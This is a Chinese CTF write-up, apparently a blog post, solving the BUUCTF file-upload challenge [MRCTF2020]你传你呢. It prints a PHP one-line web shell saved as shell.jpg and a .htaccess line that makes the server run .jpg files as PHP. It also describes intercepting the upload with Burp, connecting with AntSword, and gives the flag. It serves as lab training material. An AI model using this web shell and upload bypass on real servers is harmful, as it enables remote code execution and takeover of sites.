1.题目描述
2.打开题目链接
3.上传shell.jpg文件，显示连接成功，但是用蚁剑连接却连接不上。shell文件内容为
<script language='php'>eval($_REQUEST[cmd]);</script>
4.用bp抓包，修改属性
5.需要上传一个.htaccess的文件来把jpg后缀的文件全都当作php文件来执行，.htsccess文件内容为
AddType application/x-httpd-php .jpg6.刚刚我们上传了shell.jpg
就接下来上传.htaccess文件，修改这里
7.接下来我们放包回去，点击forward
8.接下来我们访问shell.jpg文件
访问地址为
http://97d484a8-851f-4d4d-9507-aa835dd782f4.node5.buuoj.cn:81/upload/8d47dd0461a3a88317b0af687ebf8526/shell%20.jpg9.接下来我们使用蚁剑连接
flag{3687354e-fb5d-415c-b5ec-0c92e80df3e4}![[<span style='color:red;'>MRCTF</span><span style='color:red;'>2020</span>]<span style='color:red;'>你</span><span style='color:red;'>传</span><span style='color:red;'>你</span><span style='color:red;'>呢</span><span style='color:red;'>1</span>](https://img-blog.csdnimg.cn/direct/49f2c1e61585476c85019ba9c090e723.png)
![[<span style='color:red;'>MRCTF</span><span style='color:red;'>2020</span>]<span style='color:red;'>你</span><span style='color:red;'>传</span><span style='color:red;'>你</span><span style='color:red;'>呢</span> <span style='color:red;'>1</span>](https://img-blog.csdnimg.cn/direct/b31abcf42ae546f0ad26ad94f0fa283a.png)
![[极客大挑战 2019]Upload、[ACTF<span style='color:red;'>2020</span> 新生赛]Upload、[<span style='color:red;'>MRCTF</span><span style='color:red;'>2020</span>]<span style='color:red;'>你</span><span style='color:red;'>传</span><span style='color:red;'>你</span><span style='color:red;'>呢</span>](https://img-blog.csdnimg.cn/direct/cd6d22f8ba094f1f9ce988651c93e034.png)
![[<span style='color:red;'>Buuctf</span>] [<span style='color:red;'>MRCTF</span><span style='color:red;'>2020</span>] Xor](https://img-blog.csdnimg.cn/direct/3eb4770e97e44ac297e43be88e775ea4.png)
![<span style='color:red;'>BUUCTF</span>逆向wp [<span style='color:red;'>MRCTF</span><span style='color:red;'>2020</span>]Transform](https://i-blog.csdnimg.cn/direct/1a013b39e74c4fde8465b85a1908cb52.png)
![<span style='color:red;'>BUUCTF</span>逆向wp [<span style='color:red;'>MRCTF</span><span style='color:red;'>2020</span>]Xor](https://i-blog.csdnimg.cn/direct/ddce944b9bea4315909206a012738761.png)
![[<span style='color:red;'>MRCTF</span><span style='color:red;'>2020</span>]Transform<span style='color:red;'>1</span>](https://img-blog.csdnimg.cn/direct/bf55184487954b78b997fb83caa41d1a.png)
![[<span style='color:red;'>MRCTF</span><span style='color:red;'>2020</span>]Ez_bypass<span style='color:red;'>1</span>](https://img-blog.csdnimg.cn/direct/53eab380c09e4cc1945c71bd0d6a995d.png)
